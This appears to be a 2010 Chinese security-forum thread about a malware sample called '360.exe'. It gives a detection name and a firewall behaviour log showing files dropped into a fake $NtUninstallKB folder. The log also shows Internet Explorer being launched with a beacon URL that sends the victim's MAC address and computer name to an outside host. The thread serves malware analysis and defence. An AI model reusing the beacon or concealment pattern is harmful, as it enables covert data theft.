360.exe

显示全部楼层 · 发表于 2010-9-20 09:36:50

费尔杀掉

显示全部楼层 · 发表于 2010-9-22 15:56:24

Malware.QVM17.Gen

-- by 360！

显示全部楼层 · 发表于 2010-9-22 16:05:29

显示全部楼层 · 发表于 2010-9-22 16:43:13

本帖最后由 hddu 于 2010.9.22 16:58 编辑

2010-09-22 16:57:02 创建文件    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:C:\WINDOWS\$NtUninstallKB971000$\
触发规则:所有程序规则->WINDOWS文件夹全局允许设置->%windir%\$NtUninstallKB*$\*

2010-09-22 16:57:02 修改文件    操作:阻止
进程路径:F:\virus\360\360.exe
文件路径:C:\WINDOWS\$NtUninstallKB971000$\
触发规则:所有程序规则->WINDOWS文件夹全局允许设置->%windir%\$NtUninstallKB*$\*

2010-09-22 16:57:08 修改文件    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:F:\virus\360\360.exe
触发规则:应用程序规则->其它文件设置->F:\*->F:\*.exe

2010-09-22 16:57:09 修改文件    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:F:\virus\360\360.exe
触发规则:应用程序规则->其它文件设置->F:\*->F:\*.exe

2010-09-22 16:57:10 修改文件    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:F:\virus\360\360.exe
触发规则:应用程序规则->其它文件设置->F:\*->F:\*.exe

2010-09-22 16:57:10 创建文件    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:C:\WINDOWS\$NtUninstallKB971000$\1.ico
触发规则:所有程序规则->WINDOWS文件夹全局允许设置->%windir%\$NtUninstallKB*$\*

2010-09-22 16:57:10 创建文件    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:C:\WINDOWS\$NtUninstallKB971000$\2.ico
触发规则:所有程序规则->WINDOWS文件夹全局允许设置->%windir%\$NtUninstallKB*$\*

2010-09-22 16:57:10 创建文件    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:C:\WINDOWS\$NtUninstallKB971000$\3.ico
触发规则:所有程序规则->WINDOWS文件夹全局允许设置->%windir%\$NtUninstallKB*$\*

2010-09-22 16:57:10 创建文件    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:C:\WINDOWS\$NtUninstallKB971000$\4.ico
触发规则:所有程序规则->WINDOWS文件夹全局允许设置->%windir%\$NtUninstallKB*$\*

2010-09-22 16:57:10 创建文件    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:C:\WINDOWS\$NtUninstallKB971000$\5.ico
触发规则:所有程序规则->WINDOWS文件夹全局允许设置->%windir%\$NtUninstallKB*$\*

2010-09-22 16:57:10 创建文件    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:C:\WINDOWS\$NtUninstallKB971000$\6.ico
触发规则:所有程序规则->WINDOWS文件夹全局允许设置->%windir%\$NtUninstallKB*$\*

2010-09-22 16:57:10 创建文件    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:C:\WINDOWS\$NtUninstallKB971000$\7.ico
触发规则:所有程序规则->WINDOWS文件夹全局允许设置->%windir%\$NtUninstallKB*$\*

2010-09-22 16:57:10 创建文件    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:C:\WINDOWS\$NtUninstallKB971000$\8.ico
触发规则:所有程序规则->WINDOWS文件夹全局允许设置->%windir%\$NtUninstallKB*$\*

2010-09-22 16:57:10 创建文件    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:C:\WINDOWS\$NtUninstallKB971000$\9.ico
触发规则:所有程序规则->WINDOWS文件夹全局允许设置->%windir%\$NtUninstallKB*$\*

2010-09-22 16:57:10 创建文件    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:C:\WINDOWS\$NtUninstallKB971000$\10.ico
触发规则:所有程序规则->WINDOWS文件夹全局允许设置->%windir%\$NtUninstallKB*$\*

2010-09-22 16:57:10 创建文件    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:C:\WINDOWS\$NtUninstallKB971000$\11.ico
触发规则:所有程序规则->WINDOWS文件夹全局允许设置->%windir%\$NtUninstallKB*$\*

2010-09-22 16:57:10 创建文件    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:C:\WINDOWS\$NtUninstallKB971000$\12.ico
触发规则:所有程序规则->WINDOWS文件夹全局允许设置->%windir%\$NtUninstallKB*$\*

2010-09-22 16:57:10 创建文件    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:C:\WINDOWS\$NtUninstallKB971000$\13.ico
触发规则:所有程序规则->WINDOWS文件夹全局允许设置->%windir%\$NtUninstallKB*$\*

2010-09-22 16:57:10 创建文件    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:C:\WINDOWS\$NtUninstallKB971000$\Information.ini
触发规则:所有程序规则->WINDOWS文件夹全局允许设置->%windir%\$NtUninstallKB*$\*

2010-09-22 16:57:10 创建文件    操作:阻止
进程路径:F:\virus\360\360.exe
文件路径:C:\Program Files\WinRAR\KB981322.log
触发规则:所有程序规则->%ProgramFiles%文件夹设置(一)->%ProgramFiles%\WinRAR\*

2010-09-22 16:57:11 运行应用程序    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:C:\Program Files\Internet Explorer\IEXPLORE.EXE
命令行:http://www.5913.net/a/get.asp?mac=00E01865F23F&makedate=3HS315Z8&comput=Home&ver=21&userid=0001&Key=524EF691E9C11A32E6F814628F967104
触发规则:所有程序规则->非系统进程操作 ->%ProgramFiles%\Internet Explorer\iexplore.exe

2010-09-22 16:57:23 运行应用程序    操作:允许
进程路径:F:\virus\360\360.exe
文件路径:C:\Program Files\Internet Explorer\IEXPLORE.EXE
命令行: -nohome
触发规则:所有程序规则->非系统进程操作 ->%ProgramFiles%\Internet Explorer\iexplore.exe

[病毒样本] 360.exe